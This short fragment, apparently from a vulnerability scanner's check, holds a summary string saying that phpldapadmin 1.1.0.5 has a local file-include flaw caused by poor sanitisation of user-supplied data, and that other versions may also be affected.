tag_summary = "phpldapadmin is prone to a local file-include vulnerability because it
fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the
application and the underlying system; other attacks are also
possible.

phpldapadmin 1.1.0.5 is vulnerable; other versions may also be
affected.";
